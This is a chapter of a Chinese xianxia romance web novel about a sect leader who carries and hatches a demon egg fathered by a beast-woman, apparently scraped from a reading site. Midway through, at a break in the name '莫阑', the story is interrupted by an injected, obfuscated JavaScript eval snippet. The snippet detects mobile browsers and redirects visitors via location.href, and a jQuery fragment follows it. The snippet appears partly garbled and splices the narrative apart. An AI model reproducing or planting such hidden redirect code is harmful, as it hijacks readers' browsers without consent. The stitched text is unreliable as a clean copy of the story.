这是二十年来,莫阑头一次回到这里。
昔年这片森林虽草木茂盛,却也只是茂盛,看得久了,就会觉得既凌乱又无聊。
然而时隔多年故地重游,这森林更加茂盛之余,内部竟然改天换地,一派草木芳菲、莺歌燕舞之景,恍若置身仙境。
那个女人有令花木向荣的能耐,这是第一次见面时,他就知道的。
分明是荒淫无度的魔族,却有这种格格不入的能力,实在荒唐至极。
鸟语花香的拥簇间,蜷伏在裂隙下休憩的玄婴兽听到踏碎树叶的动静。
兽瞳启张,依旧是一双没有变化的,明月般的眼睛。
沉静的眸底,倒映出一柄直直刺来的长剑。
这一剑如携雷霆,怒意偾张,怨气沸腾。
烛昭却不躲不闪,神容淡漠,仿佛在看一只不自量力的小飞虫。
对了,二十年了,那道咒印早该彻底消解了。
那这女人为何不逃?
为何像个呆子一样,守在这道仍未愈合的裂隙之侧?
莫阑直觉哪里不对,然而对方那副岿然不动的轻蔑,混杂他此刻腹中一刻不停的紊扰,深深刺痛了他,滔天的愤怒便将这一点疑虑压过。
他当即不管不顾,剑意更凶。
然而最终,剑尖却如扎入一团云雾,莫阑连剑带人,直直从玄婴兽的眼中穿了过去。
莫阑收力不及,跪跌在地,勉强用剑支住身体。
理智欲要思索为何烛昭没有了实体,却被腹中的痛苦抢先一步搅浑了思绪。
莫阑的胃中已无物可吐,只能狼狈地干呕不止,偶尔呛出几滩掺杂胆汁的鲜血。
有道清淡的视线落到背脊上,莫阑无端战栗,腹中翻腾更甚。
心中有道念头叫嚣催促着,要他整个人翻过面来,只要让那道视线触碰到他的腹部,就能将那腹中躁动的存在安抚。
莫阑强行压下这股窝囊的冲动,边吐边道:“你……你一定知道……怎么处理掉……这个杂种……”
“你我……水火不容……不共戴天……你要是放任不管……不仅仅是恶心我……也是在恶心你自己……”
可惜他一边呕吐一边放狠话,实在没什么威慑力。
玄婴兽默然无言。
须臾,一段泛着暗青色泽的兽尾,卷起那柄掉落在地的灵剑。
随后,送到了莫阑的面前,对准了他的腹部。
这是捅一剑便能毁胎的意思?
莫阑对自己体质信心十足,自认一剑穿腹绝对死不了。
因而他毫不迟疑,劈手夺下那柄剑,反手便要捅进腹中。
“不可!宗主!住手!你会死的!”
跟踪一路的医修披头散发地冲了出来,一头撞飞了莫阑紧急收力的剑。
又火速从腋下取出夹带的一沓乱七八糟的古籍,将连夜圈出划线的重点怼到莫阑眼前。
“宗主!魔族卵胎霸道强悍,默不作声潜伏在你体内二十年,为的便是在你无知无觉时与你的一身血肉融为一体,你若毁胎,必定与之俱亡!万万不可如此!反正,正好宗主你……”
医修说着说着,瞅见眼自家宗主的神情,不由得打了个哆嗦。
但又实在怕对方想不开,医修还是小心翼翼地劝了下去:“……正好宗主你也到了该培养继承人的年纪,不如就顺水推舟……何况这魔族血脉与您结合,想来少主一定更为天资卓绝,定能带领我莫氏更上一阶……”
“……”
察觉自家宗主的动摇,医修再接再厉,狂拍自己的胸脯保证道:“有我在,定会将玄婴族繁衍子嗣的注意事项研究透彻,定能让宗主你的养胎过程一帆风顺,将小少主安然接生出来!”
“……”
医修:“宗主?”
莫阑:“你给我滚。”
医修滚了。
归笙看他滚得那么丝滑,猜测医修是看出莫阑被说服了。
医修圆滚滚的背影消失后,莫阑停顿了许久,缓慢地转过身。
身后的玄婴兽依旧伏在地上,半垂着眼帘,一派置身事外的漠然,仿佛方才二人所说的一切都和她无关。
莫阑盯着她,当首便是一句:“这是你造的孽。”
烛昭没有反应。
莫阑并不着急,挑起唇角,慢条斯理地道:“你造的孽已经够多了,如今难道还要继续袖手旁观,看着你亲自播下的种,因为人族承受不住你魔族血统的冲击,而活活胎死腹中吗?”
他一向知道如何刺痛她。
果不其然,玄婴兽的眼睫颤了颤。
那双抬起的清瞳中,有复杂的波澜翻涌。
莫阑看得懂她的迟疑。
“你不必担心我会因为你而迁怒我们的后代,你把自己想得太重要了。”
他冷笑道:“莫氏需要继承人,我自会好好培养它。”
莫阑说的是实话。
医修不愧是他莫氏的族人,每一句都说在他的心坎上。
比起他自己的喜怒好恶,他更在意的,还是他莫氏的千秋长盛。
如果这人魔交杂的血脉真能青出于蓝,那他自是会欣然接受。
烛昭久久无言。
良久,她低淡的声音响起,随林中的落叶拂过莫阑的耳际。
“从明日起,每日,你抽出两个时辰过来,我……”
她停顿了下,似是下了破釜沉舟的决心,才沉重无比地说完:“我帮你,平复躁动的魔族血脉。”
莫阑不可思议地问:“为什么是我上赶着过来?你有这么大脸?”
烛昭闭上了眼:“你也可以不来。”
莫阑当即动起了手,想把这只玄婴兽强硬地抓回宗门。
然后,他浑身上下除了腹部,被烛昭痛揍了个遍。
尤其是脸,她照脸抽得尤为狠辣。
莫阑顶着一张肿得巨大的大脸盘子回到莫氏,并生平头一回因觉得丢脸而抄了小路。
结果还是被早就等在那里的医修逮了个正着。
医修端上一碗热气腾腾的药羹:“宗主,请用安胎药。”
莫阑:“……”
莫阑一饮而尽,医修又语重心长地道:“宗主,为了小少主好,养胎期间还是不要打打杀杀的了……至少别让自己挨揍啊。”
莫阑不屑地道:“我和那女人的后代,何至于如此脆弱。”
医修翻阅古籍翻阅得飞起:“不是,倒不是滑胎的问题,主要是你挨揍挨成这样,我怕影响到小少主的先天自信,让它以为自己会出生在一个多窝囊的环境里,于修炼天赋的形成不宜。”
莫阑:“……”
自信还是很重要的,莫阑觉得自己之所以如此成功,一大原因就是他足够的自信。
所以第二日,他黑沉着脸到了地方后,强忍住报复那女人的冲动,没有任性动手。
腹中的魔卵捕捉到烛昭的气息,又开始翻江倒海起来。
莫阑不适地捂腹,开门见山地斥问:“要怎么做?”
烛昭:“脱衣服,躺下来。”
默了一下,才补充道:“躺我旁边。”
莫阑:“……”
莫阑紧紧拢住自己的衣襟,警惕地道:“你想做什么?”
烛昭淡淡地道:“再废话,你就自己受着吧。”
莫阑霎时心头火起,却还没来得及作出任何反应,魔卵察觉他对烛昭的敌意,立刻狠狠折腾他了一遭。
莫阑只觉五脏六腑都要从嘴里吐出来,当即也顾不得烛昭是不是要占他的便宜,踉踉跄跄地扑到了玄婴兽的前肢旁边。
腹中的暴动瞬间缓和许多。
这个女人没有骗他。
莫阑咬牙切齿地褪去了衣裳,心不甘情不愿地平躺了下来。
他瞪着头顶上晃动的树叶,恍惚觉得回到了被抬进烛昭洞府的那一夜。
无比的屈辱。
他这辈子所有的屈辱,都是在遇到这个女人之后。
涔涔的冷汗流进莫阑的眼睛,刺得他两眼一闭,思绪也被迫中止。
就在这时,一只小小的手按在了他的腹部。
莫阑狠狠一抖。
他睁开汗湿的眼睛,看见一道久违的身影。
时隔多年,莫阑再次见到烛昭的这副人形,第一反应仍是:好矮。
因为矮,所以显得她两条短腿上的那道剑伤又深又长,格外狰狞。
莫阑痛得神智不清,朦胧间,他无意识地,不受控地产生一道念头:
他当年,下手有那么狠吗?
……
不知过了多久。
“好了。”
莫阑在一声淡漠的提醒中苏醒。
腹中已无异感,相反,还有一种熨帖的余温残留。
他无意识地偏首,发现自己已被烛昭挪到了离她三丈外的地方。
烛昭远远地送客:“你可以回去了。”
莫阑顿时清醒了,眉头一皱:“你敢赶我?”
烛昭似乎觉得和他多说一个字都是浪费口舌,一言不发地转过身,隐入苍青的林木中。
莫阑见她不仅不理睬他,还说走就走,一股无名怒火直冲胸臆。
他索性就不走了,原地打起了坐,当日宗门里有什么事全部用传音法宝处理掉了。
原地坐了一整天,到了夜间,子时才过,腹中便隐隐作痛。
短暂的惊愕后,莫阑烦闷不已:今日怎么提前了这么多?!
他知道想让自己少受点苦,最好的选择就是立刻喊那女人出来。
但距离上一次的安抚才没过几个时辰,这样频繁地喊她过来,就显得他貌似很需要她一样,实在是奇耻大辱。
于是莫阑咬着牙,默不作声地爬进一丛茂密的灌木中,确认自己的身形都被叶片遮掩得严严实实,才无声又痛苦地打起滚来。
他本想就这么挨到天亮,却也没想到他也有高估自己的时候。
从某一刻开始,莫阑连打滚的力气也没了,只能一动不动地缩在地上,感受着凌迟一般的痛楚。
心中头一回萌生了求饶的念头,到了后来,连求饶都显得无力,莫阑直想转头在旁边的树上一头撞死,就此彻底解脱。
可不知为何,连死都能接受了,但自始至终,即便长剑就在手边,他都没想过亲手毁胎。
就在莫阑以为自己要活生生痛死过去时,他听到了窸窸窣窣的脚步声。
他勉强睁开眼睛,就见三轮明月高悬天穹,清冷的寒光居高临下,意味不明地凝视着自己。
莫阑隔了好一会儿才反应过来,其中两轮月亮,其实是玄婴兽的眼睛。
烛昭来了。
然而她那眼神,可不像是来帮助他的。
她是要趁人之危?
莫阑瞬间惊出了一身冷汗,反手握住剑柄,然而全身的髓华都被痛楚打散,一行剑意使得七零八落。
莫阑于是意识到,自己恐怕在劫难逃了。
腹中的孽障又察觉到他方才的杀心,又开始撕他的心裂他的肺。
在这种比死还恐怖的折磨下,莫阑的心志也散了,缓缓松开了手指。
随便吧。
他想。
手中的长剑被兽尾卷走。
果不其然,这女人就是来杀他的。
他手掌瑟缩了下,却不是因为对死亡的恐惧,而是因为那兽尾残留的柔软奇异的触感。
莫阑闭上了眼睛。
然而,预想中的杀招没有到来。
烛昭掰开了他蜷缩起来的身体,把他像一条毯子一样放平。
莫阑一怔。
睁开眼,烛昭化回了人形,正用她那两条纤柔的手臂,将他的上半身小心抱起,让他的后颈枕到了她跪坐下来的腿面上。
“……”
莫阑静静地,像在看一出十分深奥的戏目。
深奥到,他看得懂她的每一个动作,却不懂这动作背后的含义。
又或许根本没有含义,只是他自己忍不住去思索,她这么做到底是什么意思。
这么好的杀死他的时机,她怎么就放弃了呢?
如果是寻常状态下的莫阑,一定会立刻反应过来,对方很可能是留有后手,需要先留他一命。
可是此时此刻,他的身体在她的抚摸下放松,他的鼻尖萦绕着温暖的香气,所有的一切,都让他的感官和思绪钝重了。
腹中的魔卵感受到母亲的安抚,那些锥心刺骨的痛楚消弭的同时,莫阑能感觉到它在向烛昭的掌心轻蹭。
甚至,那份眷恋沿着相连的血脉,也流淌进了他的骨血。
“……”
最后的意识里,莫阑轻轻翻了个身。
面向女人的腰腹,一点一点,蜷缩起了身体。
而她,没有阻止。
……
孕育玄婴族的子嗣是一个漫长的过程,何况这是玄婴族与人族交杂的产物。
莫阑原本觉得,腹部一日一日地隆起,实在有损他的尊容威严,后来他才知道,隆起的腹部倒还是诸多痛苦中最不值一提的一件事了。
所以他也就不在意了,走到哪里都若无其事地承受自家修士们惊异又探究的打量。
有些与莫阑关系亲近的,实在捺不住好奇,旁敲侧击地问过他,这究竟是何人所为。
莫阑也不瞒他们,直接告知是森林里的那头玄婴兽。
也不知道他们想到了什么奇怪的画面,总之修士们表情很复杂地走掉了,并且从那之后,再也没有人问过这件事。
他们是不问了,莫阑自己倒坐不住了。
其实他也不知道自己在烦躁什么,但就是想让更多的人知道这件事。
所以在某日的家宴上,他当众宣布了自己腹中的魔卵便是莫氏的继承人,并着重强调了魔卵的母亲正是那只受莫氏监视的玄婴兽。
看到下方喷饭的喷饭,掉筷的掉筷,咳嗽的咳嗽,莫阑才觉得舒服了。
但他没舒服太久,当夜魔卵剧烈躁动,莫阑又连吐带疼地跑去接受烛昭的安抚了。
烛昭收回手,淡声道:“不想特别难受的话,就先不要喝酒了。”
莫阑微醺,眼角泛红,斜着眼睛睨她:“为什么?”
烛照指了指他的腹部:“它喜欢酒味,会忍不住从你的胃里抢酒。”
“……”
莫阑闭上眼睛,知道她没有撒谎。
毕竟第一次胎动,就是在他酒后。
但莫名地,听了她这个答案,他还是很不爽。
但他不爽也没有办法,他不能没有这女人的安抚。
莫阑素来是个睚眦必报的人,烛昭每一次惹到他,他都会在心里默默记上一笔,以期有一日卸下魔卵、脱离苦海后,一次性让她偿清。
但他没想到的是,这一记,就是记了十年。
都说修真无岁月,过去许多年,他尽是走马观花地度过,打个坐,闭个关,三五年便一晃而过。
然而这孕育魔卵的十年,却是近乎无时无刻不在经受切骨锥心的苦楚,因而显得分外难熬而漫长。
唯一得以喘息的机会,竟然还要仰仗那个令他煎熬的元凶,只有在她的安抚笼罩之下,他才得以安眠。
十年,太久了。
虽然十年间,这女人仍是孜孜不倦地招惹他,但一笔一笔账记到了最后,俨然变成了一笔糊涂账,连他也不知道该怎么清算了。
以及,那无法避免的一日,终究是到来了。
那名医修果然兑现承诺,多年潜心钻研玄婴一族的繁衍事项,早早便为莫阑准备好了当日所需的器具。
莫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014103|189864||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阑:……有时候也挺无语自家的修士是如此的有上进心。
当日,一众医修齐聚森林,在不远处严阵以待,盯着莫阑,以备他不胜痛楚,随时上前抢救。
另一众战斗修士则奉命隐在暗处,盯着烛昭,防止她兽性大发,趁机灭了他们的宗主。
但实际上,整个过程非常顺利。
十年下来,莫阑对于痛楚的承受能力节节攀升,如今近乎到了一种非人的境地,因而他手起刀落,干脆利落地剖开自己的腹部,从中取出了一颗血淋淋的魔卵。
又咬住纱布,手执针线,一寸一寸地缝好腹部的裂口。
但理智能忍痛是一回事,身体本能的反应却无法全然由理智掌控。
冷与热的汗水不断交替,浸透了莫阑的衣衫,衣衫因此变得沉重,几乎让他无法承受。
缝到最后几针时,他身形一晃。
身后倏有温凉的气息靠近,轻托了下他力竭的后腰。
一触即离。
却足够莫阑稳住身形,避免栽倒。
那一霎被支撑的舒缓后,随之而来的,便是蚀骨的酸涩之意。
有湿热的水液不受控制,扑出眼眶,顺着惨白的面颊跌落。
莫阑觉得自己真是疯了,竟然为这敷衍的一托而失态。
不过好在,他也只疯了这么一瞬。
稍微缓过来后,莫阑看向已经把魔卵擦得干干净净的烛昭,气息微弱地问:“这个东西……怎么处理?”
想到某种可能,他顿时煞气冲顶:“不会还要我来孵吧?”
烛昭看也不看他,只是道:“他们离不了你。”
来收拾残局的医修在一旁适时地接话:“的确是这样,玄婴族的魔卵在破壳之前,不能离开超出孕体十步的范围……”
莫阑:“你给我滚。”
医修打包好医具,灰溜溜地滚了。
莫阑暴躁地继续问烛昭:“我又没有魔兽的毛发,这要孵到猴年马月?难道我修炼的时候,还要在腰上拿块布兜住这颗蛋吗?!”
烛昭沉默。
她那副置身事外的表情落在眼中,莫阑无端感觉五脏六腑都拧在了一起,是比方才亲手在腹部划出刀口还要难忍的酸痛。
莫阑死死盯着烛昭,胸膛起伏,腹部的伤口崩裂,有血渗出。
他浑然不觉,只咬牙切齿地问:“你该不会,是不想负责?”
“……”
良久,烛昭叹了口气。
她说:“白日,你将它带在身上,晚上到来这里,我来孵化。”
莫阑立刻道:“麻烦死了。”
他停顿了一下,冷冷地问:“你就非要呆在这里?”
烛昭微微偏首,仍是没有正眼看他,只是用余光表达困惑。
莫阑见她这副样子,语气更冷:“你来莫氏,省得我两头跑。”
烛昭敛起视线,缓慢而坚决地摇了摇头。
没给莫阑发作的机会,烛昭身形一晃,踏入一道裂隙,藏匿进了森林深处。
那日之后,莫阑元气大伤。
毕竟将融入血肉的一部分生生剥离,只要他还是个人,不是个受了伤后能立刻复原的怪物,那么就需要漫长的时间静养。
好在如今宗内平稳,也不需要他多费心力,于是莫阑白日便在魔卵附近处理事务,晚上再抱着魔卵前往森林。
第一次去的时候,烛昭看着放下魔卵后就站住不动了的莫阑,表情有点疑惑。
她问:“你也呆在这里做什么?”
莫阑顿了顿,似乎也有点疑惑,一番思考后,寒声道:“我拼了命生出来的东西,让它跟你单独呆在一起,我不放心。”
烛昭看他一眼,也不再多言,伏下身,兽尾将魔卵拢入自己的腹底。
莫阑在不远处的河畔坐下,背靠着岸边的岩石,遥遥盯着玄婴兽一起一伏的腹部。
风色静谧,林叶飒沓,潺潺的流水声从耳边淌过,无端令人心神安宁。
莫阑的思绪渐渐飘远,他开始思考,那卵壳里爬出来的究竟会是个人?还是只魔兽?又或者是半人半魔,长着兽耳和尾巴的那种?
被自己的想法恶寒到,莫阑一把把脑子里的兽人掐灭,不经意低头对上水面,他发现自己竟然是笑着的。
“……”
那时的莫阑并没有想到,这样的夜晚,将重复上演,直至百年。
岁月如流水淌过,当莫阑后知后觉已经过了百年时,顿觉一阵恍惚。
百年间,他曾无数次怀疑,魔卵里的东西是不是已经死了,所以才迟迟孵化不出来,但那只玄婴兽却始终镇定自若,对此只有一句解释:“玄婴族的兽卵孵化,时间长短不一,几十年、上百年……并不少见。”
莫阑:“不是你生的,你当然不着急!”
烛昭懒得理他,仍是年年如一日地耐心孵化兽卵。
所幸,百年刚过,魔卵便有了动静。
魔卵破壳的那日,两个人难得和谐地围在一起。
卵壳寸寸碎裂,又片片剥落,依稀可见其中两个玉雪可爱的孩子。
竟然是一对双生子。
先抱出来的是个女婴,莫阑直接去探她的髓脉,当下难掩惊异。
烛昭却突然将他一把推开,没收着力道,莫阑险些被她推得栽倒。
抱稳女婴,莫阑恼火回头,就见烛昭慌忙拍了两下男婴的后背,将一口淤血从他喉中逼了出来。
莫阑瞬间气消了。
他方才一时不察,没注意到男婴状态不对,她是在着急孩子。
可是着急过后,烛昭却久久没有回神。
烛昭抱着男婴,望着他那张恢复红润的小脸,多少年不起波澜的眉眼,竟在此刻漾开了柔和的涟漪。
以及,某种深切而哀痛的思念。
莫阑一看就知道,她想起了烛萤。
“……”
莫名的愠意在心中腾起。
莫阑其实并不想在今天说这些,所以他决定,如果面前的女人在一炷香内,跟他说一句话,他就先按下不提。
可是,没有。
她看完了怀里的男婴,又探头看了看他怀里的女婴,唯独没有将视线分给他一丝一毫。
莫阑于是道:“有件事情忘了跟你说,不过其实也没有跟你说的必要。”
听出他语气里久违的威慑之意,烛昭小心翼翼地放下男婴,侧眸看他。
莫阑扯了扯嘴角,道:“过段时间,莫氏打算回到五方域境。”
没有庸才的衬托,何来强大的煊赫。
要获得人上人的优越感,那被踩在脚底的人就必不可少。
反正,只要有天上那道无法愈合的裂隙在,有这只强大的玄婴兽在,莫氏完全可以自由穿梭于境内境外,将这灵髓强盛的境外天地当作一个适宜修炼的洞天福地,可以随时来,可以随时走。
“你做好准备,抓紧时间好好修炼,这次可没有活人给你增进法力。”
莫阑站起身,提醒烛昭:“到时候,你最好自觉一点。”
“不然还和上次一样……只要我想给你下咒印,我就一定能做得到。”
他一手抱住女婴,又一手捞起男婴,居高临下地道:“我可不会看在这两只杂种的份上手下留情。”
烛昭静静地看着他。
一如初见时,她唇角挽着清浅的笑意。
却比初见时,添了冰冷刺眼的讥诮。
“他们,你带回去吧。”
没静默太久,烛昭开了口。
温淡的嗓音,落到听者的耳中,依稀有几分温柔。
“既然孵化已经结束,我就不想再见到你了。”
她轻轻地,满含卸下重负的疲倦。
“这一百多年来,我无时无刻不感到……无比的恶心。”